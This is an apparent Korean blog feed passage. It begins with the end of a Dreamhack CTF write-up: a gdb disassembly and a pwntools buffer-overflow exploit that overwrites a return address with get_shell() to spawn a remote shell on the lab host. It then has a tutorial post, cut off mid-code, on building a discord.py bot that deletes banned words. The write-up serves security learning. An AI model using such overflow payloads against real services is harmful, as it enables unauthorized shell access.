</span></span><span class="line"><span class="cl">   <span class="mh">0x080486e2</span> <span class="o">&lt;+</span><span class="mi">118</span><span class="o">&gt;:</span>	<span class="n">mov</span>    <span class="n">eax</span><span class="p">,</span><span class="n">DWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">ebp</span><span class="o">-</span><span class="mh">0x104</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x080486e8</span> <span class="o">&lt;+</span><span class="mi">124</span><span class="o">&gt;:</span>	<span class="n">sub</span>    <span class="n">eax</span><span class="p">,</span><span class="mh">0x1</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x080486eb</span> <span class="o">&lt;+</span><span class="mi">127</span><span class="o">&gt;:</span>	<span class="n">push</span>   <span class="n">eax</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x080486ec</span> <span class="o">&lt;+</span><span class="mi">128</span><span class="o">&gt;:</span>	<span class="n">lea</span>    <span class="n">eax</span><span class="p">,[</span><span class="n">ebp</span><span class="o">-</span><span class="mh">0x100</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x080486f2</span> <span class="o">&lt;+</span><span class="mi">134</span><span class="o">&gt;:</span>	<span class="n">push</span>   <span class="n">eax</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x080486f3</span> <span class="o">&lt;+</span><span class="mi">135</span><span class="o">&gt;:</span>	<span class="n">push</span>   <span class="mh">0x0</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x080486f5</span> <span class="o">&lt;+</span><span class="mi">137</span><span class="o">&gt;:</span>	<span class="n">call</span>   <span class="mh">0x8048450</span> <span class="o">&lt;</span><span class="n">read</span><span class="err">@</span><span class="n">plt</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x080486fa</span> <span class="o">&lt;+</span><span class="mi">142</span><span class="o">&gt;:</span>	<span class="n">add</span>    <span class="n">esp</span><span class="p">,</span><span class="mh">0xc</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x080486fd</span> <span class="o">&lt;+</span><span class="mi">145</span><span class="o">&gt;:</span>	<span class="n">mov</span>    <span class="n">eax</span><span class="p">,</span><span class="mh">0x0</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x08048702</span> <span class="o">&lt;+</span><span class="mi">150</span><span class="o">&gt;:</span>	<span class="n">leave</span>  
</span></span><span class="line"><span class="cl">   <span class="mh">0x08048703</span> <span class="o">&lt;+</span><span class="mi">151</span><span class="o">&gt;:</span>	<span class="n">ret</span>    
</span></span></code></pre></div><p>0x0804866f 부분을 보면 esp에서 0x104만큼의 크기를 빼 buf를 위한 공간을 만든다. read함수에서 return 주소를 조작할 것이기 때문에 104를 10진수로 전환한 260의 임의 값을 넣고 4바이트의 sfp 임의 값에 get_shell()함수의 주소를 넣으면 된다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">disas get_shell
</span></span></code></pre></div><p>을 통해 주소값을 알아낸다. 함수의 주소는 0x08048659 이며 이를 이용해 파이썬 코드를 작성한다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">conn</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s2">&#34;host1.dreamhack.games&#34;</span><span class="p">,</span> <span class="mi">11225</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">get_shell</span> <span class="o">=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x08048659</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">payload</span> <span class="o">=</span> <span class="sa">b</span><span class="s1">&#39;A&#39;</span><span class="o">*</span><span class="p">(</span><span class="mi">264</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">payload</span> <span class="o">+=</span> <span class="n">get_shell</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">conn</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s2">&#34;Size: &#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">conn</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="s2">&#34;0&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">sleep</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">conn</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s2">&#34;Data: &#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">conn</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">sleep</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1">#conn.recvall()</span>
</span></span><span class="line"><span class="cl"><span class="n">conn</span><span class="o">.</span><span class="n">interactive</span><span class="p">()</span>
</span></span></code></pre></div><p>이 코드를 돌리면 flag를 얻을 수 있다.
참고로 이유는 모르겠지만 위 코드가 윈도우 환경에서는 이상하게 동작하지 않는다. 필자는 VM을 통해 우분투 20.04를 이용했다.</p>
]]></content:encoded></item><item><title>discord.py로 금지어 삭제봇 개발하기</title><link>https://dig06161.github.io/2022/05/01/discord.py-start/</link><pubDate>Sun, 01 May 2022 17:30:00 +0900</pubDate><guid>https://dig06161.github.io/2022/05/01/discord.py-start/</guid><description>&lt;p>요즘 게임과 각종 온라인 커뮤니케이션 수단으로 디스코드를 많이 사용하는 것 같다. 어떤 대회나 컨퍼런스 등등 문의사항이나 커뮤니케이션을 위한 디스코드 채널을 개설하는걸 많이 봤기 때문이다.&lt;/p>
&lt;p>필자 또한 친구들과 게임을 하거나 단톡방 느낌으로 디스코드 채널을 이용하고 있는데 채널 안에 여러 사람이 있을 시 발생하는 여러가지 문제점이 있다.&lt;/p>
&lt;p>이는 카카오톡을 이용할 떄에도 비슷하게 발생하는데, 각종 욕설이나 금지어 등등 이런 룰을 정해 숙지하는 편이다.&lt;/p>
&lt;p>필자가 속한 채널은 금지어를 작성하면 필자와 다른 관리자 인원이 해당 채팅을 지우는 방식을 사용하고 있는데 이는 관리자 들에게 많은 피로감을 가져왔고, 관리자가 자리를 비웠 때 발생하는 비매너 채팅에 대해서 반응할 수 없다는 단점이 있었다. 따라서 여기서 디스코드 봇을 만들기로 생각했다.&lt;/p></description><content:encoded><![CDATA[<p>요즘 게임과 각종 온라인 커뮤니케이션 수단으로 디스코드를 많이 사용하는 것 같다. 어떤 대회나 컨퍼런스 등등 문의사항이나 커뮤니케이션을 위한 디스코드 채널을 개설하는걸 많이 봤기 때문이다.</p>
<p>필자 또한 친구들과 게임을 하거나 단톡방 느낌으로 디스코드 채널을 이용하고 있는데 채널 안에 여러 사람이 있을 시 발생하는 여러가지 문제점이 있다.</p>
<p>이는 카카오톡을 이용할 떄에도 비슷하게 발생하는데, 각종 욕설이나 금지어 등등 이런 룰을 정해 숙지하는 편이다.</p>
<p>필자가 속한 채널은 금지어를 작성하면 필자와 다른 관리자 인원이 해당 채팅을 지우는 방식을 사용하고 있는데 이는 관리자 들에게 많은 피로감을 가져왔고, 관리자가 자리를 비웠 때 발생하는 비매너 채팅에 대해서 반응할 수 없다는 단점이 있었다. 따라서 여기서 디스코드 봇을 만들기로 생각했다.</p>
<p>봇이 사용자들의 메시지를 인식해 금지어가 포함되어 있으면 자동으로 삭제하는 루틴이다.</p>
<p>기본적으로 사용할 환경은 Python에 discord.py 라이브러리를 이용할 예정이고 서버는 집에 남는 orangepi를 이용하려고 한다. 서버같은 경우 데스크탑을 24시간 돌리기 부담스러워 이런 방법을 선택했으나 heroku를 이용해 서버 호스팅도 가능하다.</p>
<p>개발하는 사람이 편한 방법을 찾으면 될것 같다. 필자는 직접 서버를 구축해 사용하기 때문에 orangepi에 docker를 설치에 서버를 만들었다.</p>
<p>우선 여기서 사용할 라이브러리는 discord.py라는 라이브러리로, 파이썬 코루틴(비동기)기반으로 작동하는 라이브러리이다.</p>
<p>기본적으로 코드는 <a href="https://discordpy-ko.github.io/">https://discordpy-ko.github.io/</a> 의 가이드를 따라했다.</p>
<p><a href="https://discord.com/developers/applications">https://discord.com/developers/applications</a> 에서 봇을 생성하고 기본적인 봇에대한 정보를 설정해 준다.</p>
<center><img src="/img/discord.py_start/discord-create-bot.png" width="80%" height="80%"></center>
<p>우측 상단에 New Application을 누르면 위 사진처럼 뜬다. 봇 이름을 적고 create를 누른다.
그럼 다음과 같은 페이지가 나온다.</p>
<center><img src="/img/discord.py_start/discord-created-bot.png" width="80%" height="80%"></center>
<p>General Information에서 기본적인 정보를 수정하고 좌측에 있는 Bot을 클릭한다.</p>
<center><img src="/img/discord.py_start/addbot.png" width="80%" height="80%"></center>
<p>여기서 add bot 버튼을 누르면 이 엑션은 되돌릴수 없다는 경고문이 뜨는데 다음을 눌러 진행한다.</p>
<center><img src="/img/discord.py_start/createdBot-setting.png" width="80%" height="80%"></center>
<p>여기서 봇 사용을 위한 권한 설정을 해준다. 그런 다음 reset token을 누르면 해당 봇에 대한 엑세스 토큰이 발행된다. 이 토큰값이 유출되면 외부에서 부정 사용이 발생할 수 있으니 안전한 곳에 백업해 두길 바란다.</p>
<p>이제 죄측 메유늬 OAuth2 &gt; URL Generator로 들어간다. 여기서 자기가 만들고자 하는 봇에 필요한 권한을 설정해 봇을 추가하기 위한 URL을 생성할 수 있다.</p>
<center><img src="/img/discord.py_start/setting-bot-permissions.png" width="80%" height="80%"></center>
<p>필자는 메시지 제어를 위해 Text permissions의 모든 권한을 부여했다. 이후 Genrated URL 부분에 URL를 복사해 브라우저에 붙여넣기를 하면 본인이 봇을 추가할 수 있는 채널의 리스트가 보이며 추가가 완료된다.</p>
<p><br><br></p>
<p>이제 파이썬 사용을 위해서 다음 명령어를 통해 discord.py 라이브러리를 설치한다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">pip3 install discord.py
</span></span></code></pre></div><p>이후 import discord 구문을 통해 라이브러리를 불러온다.</p>
<p>다음 코드는 discord.py에서 올려준 빠른시작 코드이다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">discord</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">client</span> <span class="o">=</span> <span class="n">discord</span><span class="o">.</span><span class="n">Client</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nd">@client.event</span>
</span></span><span class="line"><span class="cl"><span class="k">async</span> <span class="k">def</span> <span class="nf">on_ready</span><span class="p">():</span>
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="s1">&#39;We have logged in as </span><span class="si">{0.user}</span><span class="s1">&#39;</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="n">client</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nd">@client.event</span>
</span></span><span class="line"><span class="cl"><span class="k">async</span> <span class="k">def</span> <span class="nf">on_message</span><span class="p">(</span><span class="n">message</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="n">message</span><span class="o">.</span><span class="n">author</span> <span class="o">==</span> <span class="n">client</span><span class="o">.</span><span class="n">user</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="n">message</span><span class="o">.</span><span class="n">content</span><span class="o">.</span><span class="n">startswith</span><span class="p">(</span><span class="s1">&#39;$hello&#39;</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="k">await</span> <span class="n">message</span><span class="o">.</span><span class="n">channel</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="s1">&#39;Hello!&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">client</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="s1">&#39;your token here&#39;</span><span class="p">)</span>
</span></span></code></pre></div><p>위 코드는 on_ready 구문을 통해 봇이 준비되면 &ldquo;We have logged in as bot#tag&quot;를 출력한다. 여기서 bot#tag는 봇의 이름이다.</p>
<p>필자가 작성한 코드는 다음과 같다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">discord</span><span class="o">,</span> <span class="nn">logging</span><span class="o">,</span> <span class="nn">sqlite3</span><span class="o">,</span> <span class="nn">os</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">discord.ext</span> <span class="kn">import</span> <span class="n">commands</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">muyahoDB</span> <span class="k">as</span> <span class="nn">db</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">drawTableModule</span> <span class="k">as</span> <span class="nn">dt</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">dirctory</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">dirname</span><span class="p">(</span><span class="vm">__file__</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">#logger setting</span>
</span></span><span class="line"><span class="cl"><span class="n">logger</span> <span class="o">=</span> <span class="n">logging</span><span class="o">.</span><span class="n">getLogger</span><span class="p">(</span><span class="s1">&#39;discord&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">logger</span><span class="o">.</span><span class="n">setLevel</span><span class="p">(</span><span class="n">logging</span><span class="o">.</span><span class="n">DEBUG</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">handler</span> <span class="o">=</span> <span class="n">logging</span><span class="o">.</span><span class="n">FileHandler</span><span class="p">(</span><span class="n">filename</span><span class="o">=</span><span class="s1">&#39;discord.log&#39;</span><span class="p">,</span> <span class="n">encoding</span><span class="o">=</span><span class="s1">&#39;utf-8&#39;</span><span class="p">,</span> <span class="n">mode</span><span class="o">=</span><span class="s1">&#39;w&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">handler</span><span class="o">.</span><span class="n">setFormatter</span><span class="p">(</span><span class="n">logging</span><span class="o">.</span><span class="n">Formatter</span><span class="p">(</span><span class="s1">&#39;</span><span class="si">%(asctime)s</span><span class="s1">:</span><span class="si">%(levelname)s</span><span class="s1">:</span><span class="si">%(name)s</span><span class="s1">: </span><span class="si">%(message)s</span><span class="s1">&#39;</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="n">logger</span><span class="o">.</span><span class="n">addHandler</span><span class="p">(</span><span class="n">handler</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">#discord setting</span>
</span></span><span class="line"><span class="cl"><span class="n">client</span> <span class="o">=</span> <span class="n">discord</span><span class="o">.</span><span class="n">Client</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="n">bot</span> <span class="o">=</span> <span class="n">commands</span><span class="o">.</span><span class="n">Bot</span><span class="p">(</span><span class="n">command_prefix</span><span class="o">=</span><span class="s1">&#39;$&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">#db connect</span>
</span></span><span class="line"><span class="cl"><span class="n">con</span> <span class="o">=</span> <span class="n">sqlite3</span><span class="o">.</span><span class="n">connect</span><span class="p">(</span><span class="s1">&#39;muyaho.db&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">db</span><span class="o">.</span><span class="n">initDB</span><span class="p">(</span><span class="n">con</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nd">@client.event</span>
</span></span><span class="line"><span class="cl"><span class="k">async</span> <span class="k">def</span> <span class="nf">on_ready</span><span class="p">():</span>
</span></span><span class="line"><span class="cl">	<span class="nb">print</span><span class="p">(</span><span class="s1">&#39;We have logged in as </span><span class="si">{0.user}</span><span class="s1">&#39;</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="n">client</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">help</span><span class="p">():</span>
</span></span><span class="line"><span class="cl">	<span class="n">_return</span> <span class="o">=</span> <span class="s2">&#34;&#34;</span>
</span></span><span class="line"><span class="cl">	<span class="n">_return</span> <span class="o">+=</span> <span class="s2">&#34;$showTextBL	=&gt;	텍스트 블랙리스트 출력</span><span class="se">\n</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">	<span class="n">_return</span> <span class="o">+=</span> <span class="s2">&#34;$addBLAllT		=&gt;	인수로 받은 단어를 모든사용자 대상의 블랙리스트로 지정</span><span class="se">\n</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">	<span class="n">_return</span> <span class="o">+=</span> <span class="s2">&#34;$addBLUserT	=&gt;	첫번째 인수로 대상 사용자이름, 두번째 인수로 지정할 </span><span class="se">\n\t\t\t\t\t\t\t\t\t</span><span class="s2"> 블랙리스트 단어를 적용</span><span class="se">\n</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">	<span class="n">_return</span> <span class="o">+=</span> <span class="s2">&#34;$showLog		=&gt;	삭제된 텍스트의 로그를 출력, 인수로 출력할 로그의 라인 수를 지정&#34;</span>
</span></span><span class="line"><span class="cl">	<span class="n">_return</span> <span class="o">+=</span> <span class="s2">&#34;$showAtmBL	=&gt;	첨부파일 블랙리스트 출력</span><span class="se">\n</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">	<span class="n">_return</span> <span class="o">+=</span> <span class="s2">&#34;$addBLAllA		=&gt;	인수로 받은 첨부파일을 모든사용자 대상의 블랙리스트로 지정</span><span class="se">\n</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">	<span class="n">_return</span> <span class="o">+=</span> <span class="s2">&#34;$addBLUserA	=&gt;	첫번째 인수로 대상 사용자이름, 두번째 인수로 지정할 </span><span class="se">\n\t\t\t\t\t\t\t\t\t</span><span class="s2"> 블랙리스트 첨부파일을 적용</span><span class="se">\n</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">	<span class="n">_return</span> <span class="o">+=</span> <span class="s2">&#34;$rmTextBL	=&gt;	지정한 pk의 텍스트 BL를 삭제, 인수는 int</span><span class="se">\n</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">	<span class="n">_return</span> <span class="o">+=</span> <span class="s2">&#34;$rmAtmBL	=&gt;	지정한 pk의 첨부파일 BL를 삭제, 인수는 int</span><span class="se">\n</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">	<span class="k">return</span> <span class="n">_return</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">commandCheck</span><span class="p">(</span><span class="n">msg</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">	<span class="c1">#text</span>
</span></span><span class="line"><span class="cl">	<span class="k">if</span><span class="p">(</span><span class="n">msg</span><span class="o">.</span><span class="n">content</span><span class="o">.</span><span class="n">startswith</span><span class="p">(</span><span class="s2">&#34;$addBLAllT&#34;</span><span class="p">)):</span>
</span></span><span class="line"><span class="cl">		<span class="k">if</span><span class="p">(</span><span class="n">db</span><span class="o">.</span><span class="n">addBLAllT</span><span class="p">(</span><span class="n">con</span><span class="p">,</span> <span class="n">msg</span><span class="p">)</span> <span class="o">==</span> <span class="mi">1</span><span class="p">):</span><span class="k">return</span> <span class="mi">1</span>
</span></span><span class="line"><span class="cl">		<span class="k">else</span><span class="p">:</span> <span class="k">return</span> <span class="mi">0</span>
</span></span><span class="line"><span class="cl">	<span class="k">elif</span><span class="p">(</span><span class="n">msg</span><span class="o">.</span><span class="n">content</span><span class="o">.</span><span class="n">startswith</span><span class="p">(</span><span class="s2">&#34;$addBLUserT&#34;</span><span class="p">)):</span>
</span></span><span class="line"><span class="cl">		<span class="k">if</span><span class="p">(</span><span class="n">db</span><span class="o">.</span><span class="n">addBLUserT</span><span class="p">(</span><span class="n">con</span><span class="p">,</span> <span class="n">msg</span><span class="p">)</span> <span class="o">==</span> <span class="mi">1</span><span class="p">):</span><span class="k">return</span> <span class="mi">1</span>
</span></span><span class="line"><span class="cl">		<span class="k">else</span><span class="p">:</span> <span class="k">return</span> <span class="mi">0</span>
</span></span><span class="line"><span class="cl">	<span class="k">elif</span><span class="p">(</span><span class="n">msg</span><span class="o">.</span><span class="n">content</span><span class="o">.</span><span class="n">startswith</span><span class="p">(</span><span class="s2">&#34;$rmTextBL&#34;</span><span class="p">)):</span>
</span></span><span class="line"><span class="cl">		<span class="n">result</span> <span class="o">=</span> <span class="n">db</span><span class="o">.</span><span class="n">rmTextBL</span><span class="p">(</span><span class="n">con</span><span class="p">,</span> <span class="n">msg</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">		<span class="k">if</span><span class="p">(</span><span class="n">result</span> <span class="o">==</span> <span class="mi">1</span><span class="p">):</span> <span class="k">return</span> <span class="mi">1</span>
</span></span><span class="line"><span class="cl">		<span class="k">else</span><span class="p">:</span> <span class="k">return</span> <span class="mi">0</span>
</span></span><span class="line"><span class="cl">	<span class="c1">#attachments</span>
</span></span><span class="line"><span class="cl">	<span class="k">elif</span><span class="p">(</span><span class="n">msg</span><span class="o">.</span><span class="n">content</span><span class="o">.</span><span class="n">startswith</span><span class="p">(</span><span class="s2">&#34;$addBLAllA&#34;</span><span class="p">)):</span>
</span></span><span class="line"><span class="cl">		<span class="k">if</span><span class="p">(</span><span class="n">db</span><span class="o">.</span><span class="n">addBLAllA</span><span class="p">(</span><span class="n">con</span><span class="p">,</span> <span class="n">msg</span><span class="p">)</span> <span class="o">==</span> <span class="mi">1</span><span class="p">):</span><span class="k">return</span> <span class="mi">1</span>
</span></span><span class="line"><span class="cl">		<span class="k">else</span><span class="p">:</span> <span class="k">return</span> <span class="mi">0</span>
</span></span><span class="line"><span class="cl">	<span class="k">elif</span><span class="p">(</span><span class="n">msg</span><span class="o">.</span><span class="n">content</span><span class="o">.</span><span class="n">startswith</span><span class="p">(</span><span class="s2">&#34;$addBLUserA&#34;</span><span class="p">)):</span>
</span></span><span class="line"><span class="cl">		<span class="k">if</span><span class="p">(</span><span class="n">db</span><span class="o">.</span><span class="n">addBLUserA</span><span class="p">(</span><span class="n">con</span><span class="p">,</span> <span class="n">msg</span><span class="p">)</span> <span class="o">==</span> <span class="mi">1</span><span class="p">):</span><span class="k">return</span> <span class="mi">1</span>
</span></span><span class="line"><span class="cl">		<span class="k">else</span><span class="p">:</span> <span class="k">return</span> <span class="mi">0</span>
</span></span><span class="line"><span class="cl">	<span class="k">elif</span><span class="p">(</span><span class="n">msg</span><span class="o">.</span><span class="n">content</span><span class="o">.</span><span class="n">startswith</span><span class="p">(</span><span class="s2">&#34;$rmAtmBL&#34;</span><span class="p">)):</span>
</span></span><span class="line"><span class="cl">		<span class="n">result</span> <span class="o">=</span> <span class="n">db</span><span class="o">.</span><span class="n">rmAtmBL</span><span class="p">(</span><span class="n">con</span><span class="p">,</span> <span class="n">msg</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">		<span class="k">if</span><span class="p">(</span><span class="n">result</span> <span class="o">==</span> <span class="mi">1</span><span class="p">):</span> <span class="k">return</span> <span class="mi">1</span>
</span></span><span class="line"><span class="cl">		<span class="k">else</span><span class="p">:</span> <span class="k">return</span> <span class="mi">0</span>
</span></span><span class="line"><span class="cl">	<span class="c1">#출력부분</span>
</span></span><span class="line"><span class="cl">	<span class="k">elif</span><span class="p">(</span><span class="n">msg</span><span class="o">.</span><span class="n">content</span><span class="o">.</span><span class="n">startswith</span><span class="p">(</span><span class="s2">&#34;$showTextBL&#34;</span><span class="p">)):</span>
</span></span><span class="line"><span class="cl">		<span class="n">result</span> <span class="o">=</span> <span class="n">db</span><span class="o">.</span><span class="n">showTextBL</span><span class="p">(</span><span class="n">con</span><span class="p">,</span> <span class="n">msg</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">		<span class="k">if</span><span class="p">(</span><span class="n">result</span> <span class="o">==</span> <span class="mi">1</span><span class="p">):</span> <span class="k">return</span> <span class="mi">1</span>
</span></span><span class="line"><span class="cl">		<span class="k">else</span><span class="p">:</span> <span class="k">return</span> <span class="n">result</span>
</span></span><span class="line"><span class="cl">	<span class="k">elif</span><span class="p">(</span><span class="n">msg</span><span class="o">.</span><span class="n">content</span><span class="o">.</span><span class="n">startswith</span><span class="p">(</span><span class="s2">&#34;$showAtmBL&#34;</span><span class="p">)):</span>
</span></span><span class="line"><span class="cl">		<span class="n">result</span> <span class="o">=</span> <span class="n">db</span><span class="o">.</span><span class="n">showAtmBL</span><span class="p">(</span><span class="n">con</span><span class="p">,</span> <span class="n">msg</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">		<span class="k">if</span><span class="p">(</span><span class="n">result</span> <span class="o">==</span> <span class="mi">1</span><span class="p">):</span> <span class="k">return</span> <span class="mi">1</span>
</span></span><span class="line"><span class="cl">		<span class="k">else</span><span class="p">:</span> <span class="k">return</span> <span class="n">result</span>
</span></span><span class="line"><span class="cl">	<span class="k">elif</span><span class="p">(</span><span class="n">msg</span><span class="o">.</span><span class="n">content</span><span class="o">.</span><span class="n">startswith</span><span class="p">(</span><span class="s2">&#34;$showLog&#34;</span><span class="p">)):</span>
</span></span><span class="line"><span class="cl">		<span class="n">result</span> <span class="o">=</span> <span class="n">db</span><span class="o">.</span><span class="n">showLog</span><span class="p">(</span><span class="n">con</span><span class="p">,</span> <span class="n">msg</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">		<span class="k">if</span><span class="p">(</span><span class="n">result</span> <span class="o">==</span> <span class="mi">1</span><span class="p">):</span> <span class="k">return</span> <span class="mi">1</span>
</span></span><span class="line"><span class="cl">		<span class="k">else</span><span class="p">:</span> <span class="k">return</span> <span class="n">result</span>
</span></span><span class="line"><span class="cl">	<span class="k">elif</span><span class="p">(</span><span class="n">msg</span><span class="o">.</span><span class="n">content</span><span class="o">.</span><span class="n">startswith</span><span class="p">(</span><span class="s2">&#34;$help&#34;</span><span class="p">)):</span>
</span></span><span class="line"><span class="cl">		<span class="k">return</span> <span class="n">help</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">	<span class="k">else</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">		<span class="k">return</span> <span class="mi">100</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">#@client.event</span>
</span></span><span class="line"><span class="cl"><span class="c1">#async def on_message(message):</span>
</span></span><span class="line"><span class="cl"><span class="c1">#	if message.author == client.user:</span>
</span></span><span class="line"><span class="cl"><span class="c1">#		return</span>
</span></span><span class="line"><span class="cl"><span class="c1">#</span>
</span></span><span class="line"><span class="cl"><span class="c1">#	if message.content.startswith(&#39;$hello&#39;):</span>
</span></span><span class="line"><span class="cl"><span class="c1">#		await message.channel.send(&#39;Hello!&#39;)</span>
</span></span><span class="line"><span class="cl"><span class="c1">#		print(&#34;Hello print! to &#34;+message.author.name)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nd">@client.event</span>
</span></span><span class="line"><span class="cl"><span class="k">async</span> <span class="k">def</span> <span class="nf">on_message</span><span class="p">(</span><span class="n">msg</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">	<span class="k">if</span><span class="p">(</span><span class="n">msg</span><span class="o">.</span><span class="n">author</span> <span class="o">==</span> <span class="n">client</span><span class="o">.</span><span class="n">user</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">		<span class="k">return</span>
</span></span><span class="line"><span class="cl">	<span class="k">else</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">			<span class="n">db</span><span class="o">.</span><span class="n">checkUser</span><span class="p">(</span><span class="n">con</span><span class="p">,</span> <span class="n">msg</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="k">if</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">msg</span><span class="o">.</span><span class="n">author</span><span class="o">.</span><span class="n">id</span><span class="p">)</span> <span class="o">==</span> <span class="s2">&#34;개발자 user ID&#34;</span><span class="p">):</span> <span class="c1">#개발자만 명령어 사용 가능</span>
</span></span><span class="line"><span class="cl">		<span class="n">commandReturn</span> <span class="o">=</span> <span class="n">commandCheck</span><span class="p">(</span><span class="n">msg</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">		<span class="k">if</span><span class="p">(</span><span class="n">commandReturn</span> <span class="o">==</span> <span class="mi">100</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">			<span class="k">pass</span>
</span></span><span class="line"><span class="cl">		<span class="k">elif</span><span class="p">(</span><span class="n">commandReturn</span> <span class="o">==</span> <span class="mi">1</span><span class="p">):</span><span class="c1">#return 값 bool 확인</span>
